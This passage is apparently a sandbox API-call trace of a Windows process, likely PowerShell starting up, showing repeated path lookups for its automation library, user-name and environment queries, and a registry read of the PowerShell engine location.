	[0084.598] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Desktop", nBufferLength=0x105, lpBuffer=0xee5fc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Desktop", lpFilePart=0x0) returned 0x19
	[0084.598] GetLastError () returned 0xcb
	[0084.598] SetErrorMode (uMode=0x1) returned 0x1
	[0084.598] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\Desktop" (normalized: "c:\\users\\kft6utqw\\desktop"), fInfoLevelId=0x0, lpFileInformation=0xeea7c | out: lpFileInformation=0xeea7c*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xa7fbf110, ftCreationTime.dwHighDateTime=0x1d2e631, ftLastAccessTime.dwLowDateTime=0x402e33d0, ftLastAccessTime.dwHighDateTime=0x1d3d722, ftLastWriteTime.dwLowDateTime=0x402e33d0, ftLastWriteTime.dwHighDateTime=0x1d3d722, nFileSizeHigh=0x0, nFileSizeLow=0x2000)) returned 1
	[0084.598] GetLastError () returned 0xcb
	[0084.598] SetErrorMode (uMode=0x1) returned 0x1
	[0084.598] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Desktop", nBufferLength=0x105, lpBuffer=0xee610, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Desktop", lpFilePart=0x0) returned 0x19
	[0084.598] GetLastError () returned 0xcb
	[0084.598] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Desktop\\.", nBufferLength=0x105, lpBuffer=0xee5ac, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Desktop", lpFilePart=0x0) returned 0x19
	[0084.598] GetLastError () returned 0xcb
	[0084.618] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Desktop", nBufferLength=0x105, lpBuffer=0xee6cc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Desktop", lpFilePart=0x0) returned 0x19
	[0084.618] GetLastError () returned 0xcb
	[0084.618] SetErrorMode (uMode=0x1) returned 0x1
	[0084.618] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\Desktop" (normalized: "c:\\users\\kft6utqw\\desktop"), fInfoLevelId=0x0, lpFileInformation=0x2d10f1c | out: lpFileInformation=0x2d10f1c*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xa7fbf110, ftCreationTime.dwHighDateTime=0x1d2e631, ftLastAccessTime.dwLowDateTime=0x402e33d0, ftLastAccessTime.dwHighDateTime=0x1d3d722, ftLastWriteTime.dwLowDateTime=0x402e33d0, ftLastWriteTime.dwHighDateTime=0x1d3d722, nFileSizeHigh=0x0, nFileSizeLow=0x2000)) returned 1
	[0084.619] GetLastError () returned 0xcb
	[0084.619] SetErrorMode (uMode=0x1) returned 0x1
	[0084.619] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xee714, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0084.619] GetLastError () returned 0xcb
	[0084.619] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xee6c4, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0084.620] GetLastError () returned 0xcb
	[0084.620] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xee6c4, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0084.620] GetLastError () returned 0xcb
	[0084.620] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xee6c4, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0084.620] GetLastError () returned 0xcb
	[0084.645] GetUserNameExW (in: NameFormat=0x2, lpNameBuffer=0x62f898, nSize=0xeec68 | out: lpNameBuffer="XABNCPUWKW\\kFT6uTQW", nSize=0xeec68) returned 0x1
	[0084.646] GetLastError () returned 0xcb
	[0084.646] GetUserNameW (in: lpBuffer=0x617f50, pcbBuffer=0xeec70 | out: lpBuffer="kFT6uTQW", pcbBuffer=0xeec70) returned 1
	[0084.646] ReportEventW (hEventLog=0x4a60004, wType=0x4, wCategory=0x4, dwEventID=0x190, lpUserSid=0x0, wNumStrings=0x3, dwDataSize=0x0, lpStrings=0x2d31b50*="Available", lpRawData=0x2d31a0c) returned 1
	[0084.647] GetLastError () returned 0x0
	[0084.647] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x617f50, nSize=0x80 | out: lpBuffer="") returned 0x0
	[0084.647] GetLastError () returned 0xcb
	[0084.648] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x617f50, nSize=0x80 | out: lpBuffer="") returned 0x0
	[0084.648] GetLastError () returned 0xcb
	[0084.652] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xee748, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0084.653] GetLastError () returned 0xcb
	[0084.653] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xee6f8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0084.653] GetLastError () returned 0xcb
	[0084.653] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xee6f8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0084.653] GetLastError () returned 0xcb
	[0084.661] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xee6ec, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0084.661] GetLastError () returned 0xcb
	[0084.661] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xee69c, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0084.661] GetLastError () returned 0xcb
	[0084.661] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xee69c, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0084.661] GetLastError () returned 0xcb
	[0084.661] GetEnvironmentVariableW (in: lpName="HomeDrive", lpBuffer=0x617f50, nSize=0x80 | out: lpBuffer="C:") returned 0x2
	[0084.661] GetLastError () returned 0xcb
	[0084.661] GetEnvironmentVariableW (in: lpName="HomePath", lpBuffer=0x617f50, nSize=0x80 | out: lpBuffer="\\Users\\kFT6uTQW") returned 0xf
	[0084.661] GetLastError () returned 0xcb
	[0084.661] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xee6ec, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0084.661] GetLastError () returned 0xcb
	[0084.661] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xee69c, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0084.662] GetLastError () returned 0xcb
	[0084.662] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xee69c, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0084.662] GetLastError () returned 0xcb
	[0084.662] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xee6ec, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0084.662] GetLastError () returned 0xcb
	[0084.662] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xee69c, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0084.662] GetLastError () returned 0xcb
	[0084.662] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xee69c, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0084.662] GetLastError () returned 0xcb
	[0084.662] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xee6ec, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0084.662] GetLastError () returned 0xcb
	[0084.662] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xee69c, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0084.662] GetLastError () returned 0xcb
	[0084.662] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xee69c, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0084.662] GetLastError () returned 0xcb
	[0084.662] GetCurrentProcessId () returned 0x960
	[0084.662] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xee6ec, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0084.662] GetLastError () returned 0xcb
	[0084.662] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xee69c, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0084.662] GetLastError () returned 0xcb
	[0084.662] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xee69c, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0084.662] GetLastError () returned 0xcb
	[0084.663] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xee6d8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0084.663] GetLastError () returned 0xcb
	[0084.663] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xee688, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0084.663] GetLastError () returned 0xcb
	[0084.663] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xee688, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0084.663] GetLastError () returned 0xcb
	[0084.663] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xee6d8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0084.663] GetLastError () returned 0xcb
	[0084.663] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xee688, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0084.663] GetLastError () returned 0xcb
	[0084.663] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xee688, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0084.663] GetLastError () returned 0xcb
	[0084.663] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xee6ec, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0084.663] GetLastError () returned 0xcb
	[0084.663] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xee69c, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0084.663] GetLastError () returned 0xcb
	[0084.664] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xee69c, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0084.664] GetLastError () returned 0xcb
	[0084.664] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\PowerShell\\1\\PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0xeebfc | out: phkResult=0xeebfc*=0x338) returned 0x0
	[0084.664] RegQueryValueExW (in: hKey=0x338, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0xeec44, lpData=0x0, lpcbData=0xeec40*=0x0 | out: lpType=0xeec44*=0x1, lpData=0x0, lpcbData=0xeec40*=0x56) returned 0x0
	[0084.664] RegQueryValueExW (in: hKey=0x338, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0xeec44, lpData=0x617f50, lpcbData=0xeec40*=0x56 | out: lpType=0xeec44*=0x1, lpData="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0", lpcbData=0xeec40*=0x56) returned 0x0
	[0084.665] RegCloseKey (hKey=0x338) returned 0x0
	[0084.665] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xee6ec, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0084.665] GetLastError () returned 0xcb
	[0084.665] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xee69c, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0084.665] GetLastError () returned 0xcb
	[0084.665] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xee69c, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0084.665] GetLastError () returned 0xcb
	[0084.665] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xee6d4, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0084.665] GetLastError () returned 0xcb
	[0084.665] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xee684, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0084.665] GetLastError () returned 0xcb
	[0084.665] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xee684, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0084.665] GetLastError () returned 0xcb
	[0084.690] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xedd64, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0084.690] GetLastError () returned 0xcb
	[0084.690] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xedd14, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0084.690] GetLastError () returned 0xcb
	[0084.690] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xedd14, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0084.690] GetLastError () returned 0xcb
	[0084.690] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xedd64, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0084.690] GetLastError () returned 0xcb
	[0084.690] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xedd14, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0084.690] GetLastError () returned 0xcb
	[0084.690] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xedd14, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0084.690] GetLastError () returned 0xcb
	[0084.690] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xedd64, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0084.690] GetLastError () returned 0xcb
	[0084.690] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xedd14, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0084.690] GetLastError () returned 0xcb
	[0084.690] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xedd14, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0084.690] GetLastError () returned 0xcb
	[0084.690] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xedd64, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0084.690] GetLastError () returned 0xcb
	[0084.690] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xedd14, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0084.690] GetLastError () returned 0xcb
	[0084.691] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xedd14, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0084.691] GetLastError () returned 0xcb
	[0084.691] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xedd64, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0084.691] GetLastError () returned 0xcb
	[0084.691] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xedd14, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0084.691] GetLastError () returned 0xcb
